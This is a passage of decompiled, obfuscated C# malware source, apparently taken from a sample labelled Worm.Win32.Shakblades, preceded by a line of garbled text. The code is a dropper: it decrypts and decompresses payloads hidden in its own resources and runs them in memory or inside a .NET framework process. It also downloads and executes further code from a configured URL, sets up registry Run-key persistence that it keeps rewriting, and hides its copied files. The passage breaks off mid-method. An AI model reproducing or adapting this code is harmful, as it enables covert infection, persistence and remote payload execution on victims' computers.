äòòàæäÃîù¿¡¡¡¡½Òõàóõôñ¿Õóôä½®Òõàóõôñ¿¡¡¡¡½Ãèïåäó¿Õóôä½®Ãèïåäó¿¡¡¡¡½Âîìñóäòòèîï¿Õóôä½®Âîìñóäòòèîï¿¡¡¡¡½ÖäãÆäõ¿Õóôä½®ÖäãÆäõ¿¡¡½®Óäìî÷äÂîåä¿¡¡½ÕóàïòçäóÕøñä¿¡¡¡¡½Óäòîôóâä¿Õóôä½®Óäòîôóâä¿¡¡½®ÕóàïòçäóÕøñä¿¡¡½ÓôïÑÄÌèòòèïæ¿¡¡¡¡½ÌèòòèïæÑÄ¿Çàíòä½®ÌèòòèïæÑÄ¿¡¡¡¡½ÒõôãÄïâóøñõèîï¿¡¡¡¡¡¡½äïâóøñõèîïÔòäå¿ÙÎÓ½®äïâóøñõèîïÔòäå¿¡¡¡¡¡¡½àííÄïâóøñõèîïò¿Çàíòä½®àííÄïâóøñõèîïò¿¡¡¡¡½®ÒõôãÄïâóøñõèîï¿¡¡½®ÓôïÑÄÌèòòèïæ¿½®ÑóîõäâõèîïÒõôã×àíôäò¿
|
||||
+561
@@ -0,0 +1,561 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Tm2tqtua3sspuhohl2o5frgcxkwutet2c.Xcpjaqmaubj2y0o3n
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-6d5fef800026555b0865a8fd9ba051fda07985211385e0bd92a5e9a77af03653.exe
|
||||
|
||||
using G1iw5jvdvf5jyuwmtz03k02vp;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Management;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Tm2tqtua3sspuhohl2o5frgcxkwutet2c
|
||||
{
|
||||
public class Xcpjaqmaubj2y0o3n
|
||||
{
|
||||
private static bool Vyydwy2dzohvetixn = true;
|
||||
private byte[] Xvzsy20ikq50fiuzzzsw14i22;
|
||||
private bool n2gipyxzj1jd3ijqb;
|
||||
private string fzeil4ihxre2gqh3ygpyffp15;
|
||||
private string qw2lxynmeozut0doo;
|
||||
private string Cllbarbs03nsn03hk0bknvl3n = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private int I12ss4uzgimbzl5qa;
|
||||
private int dluh54iqwipbeun4nsizlk3foyfinw5wt;
|
||||
private int Hgmfkbt4atcy55dirqkgtdkb5;
|
||||
private string Dx4pxl4hlvcwokaeq = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("XRO");
|
||||
private string zyygx4b4iahtt0izd = string.Empty;
|
||||
private string Q5aj14jzmb5gozvrp = string.Empty;
|
||||
private int Sqsgcrexehem0lg3mionbxiuw;
|
||||
private string Qeujo4xlzlmqxzlwt = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string N4rfcpacyzvdyb5o5pseuwja0 = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string ovvhzz3v4t0lncqhc = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string hpyhkefmdy2fikaqvpxkxke4zwemgdqgs = Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0");
|
||||
private string Yu13rcd5iimiqemzz = string.Empty;
|
||||
private string Ouyjahe11vseyu1gc = string.Empty;
|
||||
private string Wbmpi5i4bd1p35dfa2s0jd2tykyightoe = string.Empty;
|
||||
private string wlzgy5x503ocrxvto = string.Empty;
|
||||
private string mlzo2db1vixlaay2xx3qm1uh1 = string.Empty;
|
||||
private string Ifbnriw30u3zqko1o = string.Empty;
|
||||
private string O52jpa3c1kjywan03 = string.Empty;
|
||||
private string aebl4g0r22vys142j542rkxik = string.Empty;
|
||||
private string Pi5xwja3tpz1vyvxe0bvaszsw = string.Empty;
|
||||
private string W0igi2snxiuevrujvdeszp1bxkguemxod = string.Empty;
|
||||
private string Osbrxysckqx0aqx1lzguqifvs = string.Empty;
|
||||
private bool Zx2ycojwb320y2n31;
|
||||
private bool Kbkqxyuop35q5nercdcrjitsn;
|
||||
private string Ueczuk1jlbi3nbg5x2h1wuon0 = string.Empty;
|
||||
private string Ne4uiww2g1iuhqrgv = string.Empty;
|
||||
private bool waiw3pzzuvdgyn5dx3idhqwhncujkp40q;
|
||||
private string upzpncz1hdeloi5k3rlq4a14w = string.Empty;
|
||||
private string ogs5wi51r3m1bqoyn = string.Empty;
|
||||
private string Fl1t0wgsikf4mpxykcardit3b = string.Empty;
|
||||
private string Abfzh2zlzdzdgmqoqnumemerp = string.Empty;
|
||||
private bool etx2nx1n4akedmv4fu2mqzcc0;
|
||||
private bool Dwfbus3rr2dghn14mxukem4jr;
|
||||
private bool Bm3illttk5nwmenvbn3jbmios;
|
||||
private bool s1rnoof103dimlt4vbd0kazwizm4euy4s;
|
||||
private object Rebbtyainmzrpdxrpkhemquuf;
|
||||
private MethodInfo Fau0pig3abdcym2njphkzgkxl;
|
||||
|
||||
private void xpjiguggif5df23oi(string xkcps1zic2cskbd1y)
|
||||
{
|
||||
string[] separator1 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("rpspaujmfcfeku02tmvpfrcod")
|
||||
};
|
||||
string[] strArray1 = xkcps1zic2cskbd1y.Split(separator1, StringSplitOptions.None);
|
||||
string[] separator2 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("vmh2pox3hvii1ls52")
|
||||
};
|
||||
string[] strArray2 = xkcps1zic2cskbd1y.Split(separator2, StringSplitOptions.None);
|
||||
string[] separator3 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("uo3midvthz4usmhbcddxzwvg4")
|
||||
};
|
||||
string[] strArray3 = xkcps1zic2cskbd1y.Split(separator3, StringSplitOptions.None);
|
||||
string[] separator4 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("hzoym5z0i1xmrfcmygv11yqya")
|
||||
};
|
||||
string[] strArray4 = xkcps1zic2cskbd1y.Split(separator4, StringSplitOptions.None);
|
||||
this.Cllbarbs03nsn03hk0bknvl3n = strArray1[1];
|
||||
this.fzeil4ihxre2gqh3ygpyffp15 = strArray1[2];
|
||||
this.qw2lxynmeozut0doo = strArray1[3];
|
||||
this.I12ss4uzgimbzl5qa = Convert.ToInt32(strArray1[4]);
|
||||
this.dluh54iqwipbeun4nsizlk3foyfinw5wt = Convert.ToInt32(strArray1[5]);
|
||||
this.Hgmfkbt4atcy55dirqkgtdkb5 = Convert.ToInt32(strArray1[6]);
|
||||
this.Dx4pxl4hlvcwokaeq = strArray2[1];
|
||||
this.zyygx4b4iahtt0izd = strArray2[2];
|
||||
this.Q5aj14jzmb5gozvrp = strArray2[3];
|
||||
this.Sqsgcrexehem0lg3mionbxiuw = Convert.ToInt32(strArray3[1]);
|
||||
this.Qeujo4xlzlmqxzlwt = strArray3[2];
|
||||
this.N4rfcpacyzvdyb5o5pseuwja0 = strArray3[3];
|
||||
this.ovvhzz3v4t0lncqhc = strArray3[4];
|
||||
this.hpyhkefmdy2fikaqvpxkxke4zwemgdqgs = strArray3[5];
|
||||
this.Yu13rcd5iimiqemzz = strArray3[6];
|
||||
this.Ouyjahe11vseyu1gc = strArray3[7];
|
||||
this.Wbmpi5i4bd1p35dfa2s0jd2tykyightoe = strArray3[8];
|
||||
this.wlzgy5x503ocrxvto = strArray3[9];
|
||||
this.mlzo2db1vixlaay2xx3qm1uh1 = strArray3[10];
|
||||
this.Ifbnriw30u3zqko1o = strArray3[11];
|
||||
this.O52jpa3c1kjywan03 = this.bxmgxqvn0tzn2pwdo5ezgxkdh(strArray3[12]);
|
||||
this.aebl4g0r22vys142j542rkxik = strArray3[13];
|
||||
this.Pi5xwja3tpz1vyvxe0bvaszsw = strArray3[14];
|
||||
this.W0igi2snxiuevrujvdeszp1bxkguemxod = strArray3[15];
|
||||
this.Zx2ycojwb320y2n31 = Convert.ToBoolean(strArray3[16]);
|
||||
this.Kbkqxyuop35q5nercdcrjitsn = Convert.ToBoolean(strArray3[17]);
|
||||
this.Ueczuk1jlbi3nbg5x2h1wuon0 = this.yti5olupwaivlclet(strArray3[18]) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + Path.GetRandomFileName();
|
||||
this.Osbrxysckqx0aqx1lzguqifvs = strArray3[19];
|
||||
this.Ne4uiww2g1iuhqrgv = strArray3[20];
|
||||
this.Ueczuk1jlbi3nbg5x2h1wuon0 = this.Ueczuk1jlbi3nbg5x2h1wuon0.Substring(0, this.Ueczuk1jlbi3nbg5x2h1wuon0.Length - 4) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss(".xee");
|
||||
Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System));
|
||||
switch (this.Ne4uiww2g1iuhqrgv)
|
||||
{
|
||||
case "0":
|
||||
try
|
||||
{
|
||||
this.Ne4uiww2g1iuhqrgv = IntPtr.Size != 4 ? Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("wniidr")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\irsf.E\\rmwr6\\20577vceeMcootNTFaeok4v..02\\b.x") : Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("wniidr")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\irsf.E\\rmwr\\20577vceeMcootNTFaeokv..02\\b.x");
|
||||
break;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
break;
|
||||
}
|
||||
case "1":
|
||||
this.Ne4uiww2g1iuhqrgv = Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("wniidr")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\irsf.E\\rmwr\\20577cceeMcootNTFaeokv..02\\s.x");
|
||||
break;
|
||||
}
|
||||
this.waiw3pzzuvdgyn5dx3idhqwhncujkp40q = Convert.ToBoolean(strArray4[1]);
|
||||
this.upzpncz1hdeloi5k3rlq4a14w = strArray4[2];
|
||||
this.ogs5wi51r3m1bqoyn = strArray4[3];
|
||||
this.Fl1t0wgsikf4mpxykcardit3b = strArray4[4];
|
||||
this.Abfzh2zlzdzdgmqoqnumemerp = strArray4[5];
|
||||
this.etx2nx1n4akedmv4fu2mqzcc0 = Convert.ToBoolean(strArray4[6]);
|
||||
this.Dwfbus3rr2dghn14mxukem4jr = Convert.ToBoolean(strArray4[7]);
|
||||
this.Bm3illttk5nwmenvbn3jbmios = Convert.ToBoolean(strArray4[8]);
|
||||
this.s1rnoof103dimlt4vbd0kazwizm4euy4s = Convert.ToBoolean(strArray4[9]);
|
||||
this.Fl1t0wgsikf4mpxykcardit3b = this.yti5olupwaivlclet(this.Fl1t0wgsikf4mpxykcardit3b);
|
||||
MessageBoxButtons[] messageBoxButtonsArray = new MessageBoxButtons[6]
|
||||
{
|
||||
MessageBoxButtons.OK,
|
||||
MessageBoxButtons.OKCancel,
|
||||
MessageBoxButtons.YesNo,
|
||||
MessageBoxButtons.YesNoCancel,
|
||||
MessageBoxButtons.RetryCancel,
|
||||
MessageBoxButtons.AbortRetryIgnore
|
||||
};
|
||||
MessageBoxIcon[] messageBoxIconArray = new MessageBoxIcon[5]
|
||||
{
|
||||
MessageBoxIcon.Hand,
|
||||
MessageBoxIcon.Asterisk,
|
||||
MessageBoxIcon.Question,
|
||||
MessageBoxIcon.Exclamation,
|
||||
MessageBoxIcon.None
|
||||
};
|
||||
if (!(this.Cllbarbs03nsn03hk0bknvl3n == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1")))
|
||||
return;
|
||||
Thread.Sleep(this.Hgmfkbt4atcy55dirqkgtdkb5 * 1000);
|
||||
int num = (int) MessageBox.Show(this.fzeil4ihxre2gqh3ygpyffp15, this.qw2lxynmeozut0doo, messageBoxButtonsArray[this.I12ss4uzgimbzl5qa], messageBoxIconArray[this.dluh54iqwipbeun4nsizlk3foyfinw5wt]);
|
||||
}
|
||||
|
||||
private byte[] T20r4skkjzxet5xxndjdxm23nq1de3ste(
|
||||
byte[] j53vpo23pks1sawtewkqd4g3v,
|
||||
int wtxw3dfyzvb2m5edzmygxag3t)
|
||||
{
|
||||
GZipStream gzipStream = new GZipStream((Stream) new MemoryStream(j53vpo23pks1sawtewkqd4g3v), CompressionMode.Decompress);
|
||||
byte[] buffer = new byte[wtxw3dfyzvb2m5edzmygxag3t];
|
||||
gzipStream.Read(buffer, 0, buffer.Length);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
private object Ceyweulgsxaof4hwmnwokglbk(int mn0yawr33ammr4eax42s3tcgr)
|
||||
{
|
||||
Assembly assembly = Assembly.Load(Zgyvqmp0xpqwooihm.Rhjia2qmjg1uefwsxroduqr0s(Xcpjaqmaubj2y0o3n.q1cagpbvwn04kmqyi(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("rnEdluP.l"))));
|
||||
Thread.Sleep(1000);
|
||||
System.Type type = assembly.GetTypes()[mn0yawr33ammr4eax42s3tcgr];
|
||||
this.Fau0pig3abdcym2njphkzgkxl = type.GetMethod(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Rnu"));
|
||||
return Activator.CreateInstance(type);
|
||||
}
|
||||
|
||||
private void persistenceStartup(
|
||||
string Ymom4ixsncavvmzwlpzsuuw3j,
|
||||
string oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie,
|
||||
string Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x)
|
||||
{
|
||||
Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true).SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true);
|
||||
bool flag = true;
|
||||
while (flag)
|
||||
{
|
||||
Application.DoEvents();
|
||||
if (registryKey.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\a1adcpdsq0gn123io4m1f55gxptbkhd2e")) == null)
|
||||
registryKey.SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
Thread.Sleep(2000);
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] P2dz552iekyo3s3by(byte[] xkcps1zic2cskbd1y)
|
||||
{
|
||||
if (this.Dx4pxl4hlvcwokaeq == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("xro"))
|
||||
xkcps1zic2cskbd1y = Zgyvqmp0xpqwooihm.Rhjia2qmjg1uefwsxroduqr0s(xkcps1zic2cskbd1y);
|
||||
return xkcps1zic2cskbd1y;
|
||||
}
|
||||
|
||||
private void fyld3x5pir2kaoksligurapzj(byte[] Cplqgntbylcl1knxmqpm2hjar)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.ogs5wi51r3m1bqoyn == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0"))
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!this.Qhlb0achfvgjxeekj(Cplqgntbylcl1knxmqpm2hjar))
|
||||
{
|
||||
this.Rebbtyainmzrpdxrpkhemquuf = this.Ceyweulgsxaof4hwmnwokglbk(0);
|
||||
this.Fau0pig3abdcym2njphkzgkxl.Invoke(this.Rebbtyainmzrpdxrpkhemquuf, new object[3]
|
||||
{
|
||||
(object) Cplqgntbylcl1knxmqpm2hjar,
|
||||
(object) this.Ne4uiww2g1iuhqrgv,
|
||||
null
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
string tempFileName = Path.GetTempFileName();
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(Cplqgntbylcl1knxmqpm2hjar, tempFileName, true);
|
||||
}
|
||||
}
|
||||
if (!(this.ogs5wi51r3m1bqoyn == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1")))
|
||||
return;
|
||||
string str = this.Fl1t0wgsikf4mpxykcardit3b + this.Abfzh2zlzdzdgmqoqnumemerp;
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(Cplqgntbylcl1knxmqpm2hjar, str, true);
|
||||
if (this.etx2nx1n4akedmv4fu2mqzcc0)
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.Hidden);
|
||||
if (this.Dwfbus3rr2dghn14mxukem4jr)
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.ReadOnly);
|
||||
if (!this.Bm3illttk5nwmenvbn3jbmios)
|
||||
return;
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.System);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private bool Qhlb0achfvgjxeekj(byte[] Zq0k51bndsjftafxi)
|
||||
{
|
||||
Xcpjaqmaubj2y0o3n.ooaqlrxjthzq5ykyeqamxwsxh(Zq0k51bndsjftafxi);
|
||||
bool vyydwy2dzohvetixn = Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn;
|
||||
Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn = true;
|
||||
return vyydwy2dzohvetixn;
|
||||
}
|
||||
|
||||
private void Xu4noszs2jndqy0uakulzk0hj(
|
||||
byte[] iz1q112gcqzev5oqr,
|
||||
string Dutorh5b0eqbkqejp,
|
||||
bool Fc4ucvsrmmkck30rx)
|
||||
{
|
||||
try
|
||||
{
|
||||
System.IO.File.WriteAllBytes(Dutorh5b0eqbkqejp, iz1q112gcqzev5oqr);
|
||||
if (!Fc4ucvsrmmkck30rx)
|
||||
return;
|
||||
new Process()
|
||||
{
|
||||
StartInfo = {
|
||||
FileName = Dutorh5b0eqbkqejp
|
||||
}
|
||||
}.Start();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] idbm12rhs0k0m25by(
|
||||
string V3ih4ivpcexzrkelfjctk5bov,
|
||||
int Wi2vtkb2qd4j53iy5fbdxtgmp,
|
||||
string k0vs32obabddwwiqnt4br14zo)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr hModule = Mvsaeg2eeoaqx3utk.cz23ictx0pf1xcpsqzxf3ue5fsjhmn3fi(string.Empty);
|
||||
IntPtr hResInfo = Mvsaeg2eeoaqx3utk.Nyja0dryfvflph11ok4ga5zpz(hModule, Wi2vtkb2qd4j53iy5fbdxtgmp, k0vs32obabddwwiqnt4br14zo);
|
||||
uint length = Mvsaeg2eeoaqx3utk.Wy3i4lea5jxu3fiu1mt0jbvl4gefufsn2(hModule, hResInfo);
|
||||
IntPtr source = Mvsaeg2eeoaqx3utk.Xpo3aq0mxqyvzr1zld5qguuzg(hModule, hResInfo);
|
||||
byte[] destination = new byte[(IntPtr) length];
|
||||
Marshal.Copy(source, destination, 0, (int) length);
|
||||
return destination;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errraigrsuc:ro edn eore ") + Environment.NewLine + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errcd:ro oe ") + ex.Message);
|
||||
return (byte[]) null;
|
||||
}
|
||||
}
|
||||
|
||||
private void Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(
|
||||
string Ymom4ixsncavvmzwlpzsuuw3j,
|
||||
string oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie,
|
||||
string Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x,
|
||||
int lglb5oxkofx5lhfsdpmd3oohjsw1nlznk)
|
||||
{
|
||||
this.n2gipyxzj1jd3ijqb = true;
|
||||
if (lglb5oxkofx5lhfsdpmd3oohjsw1nlznk == 1)
|
||||
Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true).SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
if (lglb5oxkofx5lhfsdpmd3oohjsw1nlznk == 2)
|
||||
Registry.LocalMachine.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true).SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
if (lglb5oxkofx5lhfsdpmd3oohjsw1nlznk != 3)
|
||||
return;
|
||||
RegistryKey subKey = Registry.LocalMachine.CreateSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie);
|
||||
subKey.SetValue(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("SuPttbah"), (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
subKey.Close();
|
||||
if (Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, true) == null)
|
||||
return;
|
||||
Registry.CurrentUser.DeleteSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, false);
|
||||
}
|
||||
|
||||
private string bxmgxqvn0tzn2pwdo5ezgxkdh(string Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3)
|
||||
{
|
||||
string str = string.Empty;
|
||||
if (Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0"))
|
||||
str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
str = Path.GetTempPath();
|
||||
if (Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("2"))
|
||||
str = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
return str;
|
||||
}
|
||||
|
||||
public void bocln5xhicnup1rlmeg3v0wq5fq30ikg2()
|
||||
{
|
||||
string executablePath = Application.ExecutablePath;
|
||||
try
|
||||
{
|
||||
this.xpjiguggif5df23oi(rzo4euwupytyapwx03g5pnbwx.trdpamic2sckcdwunnjaiq5ctjzbh44ol(this.idbm12rhs0k0m25by(executablePath, 16, Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("CCSI0IZJHGS1OVNFRTEN3VJ02"))));
|
||||
this.Xvzsy20ikq50fiuzzzsw14i22 = this.idbm12rhs0k0m25by(executablePath, 44, Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("BUEVDVEHTVBYWB1VY0OFU1FDB"));
|
||||
if (this.Qeujo4xlzlmqxzlwt == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Xvzsy20ikq50fiuzzzsw14i22 = this.T20r4skkjzxet5xxndjdxm23nq1de3ste(this.Xvzsy20ikq50fiuzzzsw14i22, this.Sqsgcrexehem0lg3mionbxiuw);
|
||||
this.Xvzsy20ikq50fiuzzzsw14i22 = this.P2dz552iekyo3s3by(this.Xvzsy20ikq50fiuzzzsw14i22);
|
||||
if (!this.Zx2ycojwb320y2n31)
|
||||
{
|
||||
this.Rebbtyainmzrpdxrpkhemquuf = this.Ceyweulgsxaof4hwmnwokglbk(0);
|
||||
this.Fau0pig3abdcym2njphkzgkxl.Invoke(this.Rebbtyainmzrpdxrpkhemquuf, new object[3]
|
||||
{
|
||||
(object) this.Xvzsy20ikq50fiuzzzsw14i22,
|
||||
(object) this.Ne4uiww2g1iuhqrgv,
|
||||
(object) Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("")
|
||||
});
|
||||
}
|
||||
else
|
||||
this.Qhlb0achfvgjxeekj(this.Xvzsy20ikq50fiuzzzsw14i22);
|
||||
if (this.Kbkqxyuop35q5nercdcrjitsn)
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(this.Xvzsy20ikq50fiuzzzsw14i22, this.Ueczuk1jlbi3nbg5x2h1wuon0, true);
|
||||
string str;
|
||||
if (!string.IsNullOrEmpty(this.Osbrxysckqx0aqx1lzguqifvs))
|
||||
{
|
||||
str = this.O52jpa3c1kjywan03 + this.Osbrxysckqx0aqx1lzguqifvs + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + this.Ifbnriw30u3zqko1o;
|
||||
Directory.CreateDirectory(this.O52jpa3c1kjywan03 + this.Osbrxysckqx0aqx1lzguqifvs);
|
||||
}
|
||||
else
|
||||
str = this.O52jpa3c1kjywan03 + this.Ifbnriw30u3zqko1o;
|
||||
if (this.N4rfcpacyzvdyb5o5pseuwja0 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(this.Yu13rcd5iimiqemzz, this.Wbmpi5i4bd1p35dfa2s0jd2tykyightoe, str, 1);
|
||||
if (this.ovvhzz3v4t0lncqhc == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(this.Yu13rcd5iimiqemzz, this.wlzgy5x503ocrxvto, str, 2);
|
||||
if (this.hpyhkefmdy2fikaqvpxkxke4zwemgdqgs == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(this.Ouyjahe11vseyu1gc, this.mlzo2db1vixlaay2xx3qm1uh1, str, 3);
|
||||
if (this.n2gipyxzj1jd3ijqb)
|
||||
{
|
||||
byte[] bytes = System.IO.File.ReadAllBytes(Application.ExecutablePath);
|
||||
if (!System.IO.File.Exists(str))
|
||||
System.IO.File.WriteAllBytes(str, bytes);
|
||||
if (System.IO.File.Exists(str))
|
||||
{
|
||||
if (this.aebl4g0r22vys142j542rkxik == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.Hidden);
|
||||
if (this.Pi5xwja3tpz1vyvxe0bvaszsw == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.ReadOnly);
|
||||
if (this.W0igi2snxiuevrujvdeszp1bxkguemxod == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.System);
|
||||
}
|
||||
}
|
||||
this.ulry4uhtwnw50g04z(rzo4euwupytyapwx03g5pnbwx.trdpamic2sckcdwunnjaiq5ctjzbh44ol(this.idbm12rhs0k0m25by(executablePath, 47, Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("AHAAJWFXQRWK55DBF5CZOY25NAJ1XU0TF"))));
|
||||
if (this.waiw3pzzuvdgyn5dx3idhqwhncujkp40q)
|
||||
this.fyld3x5pir2kaoksligurapzj(new WebClient().DownloadData(new Uri(this.upzpncz1hdeloi5k3rlq4a14w)));
|
||||
this.persistenceStartup(this.Yu13rcd5iimiqemzz, this.Wbmpi5i4bd1p35dfa2s0jd2tykyightoe, str);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void pq0wico5ukmaxyfwlssnrl0r1nqartkt4(object Qilit4odml3450ffdduw5begg)
|
||||
{
|
||||
try
|
||||
{
|
||||
MethodInfo entryPoint = Assembly.Load((byte[]) Qilit4odml3450ffdduw5begg).EntryPoint;
|
||||
if (entryPoint.GetParameters().Length == 1)
|
||||
entryPoint.Invoke((object) null, new object[1]
|
||||
{
|
||||
(object) new string[0]
|
||||
});
|
||||
else
|
||||
entryPoint.Invoke((object) null, (object[]) null);
|
||||
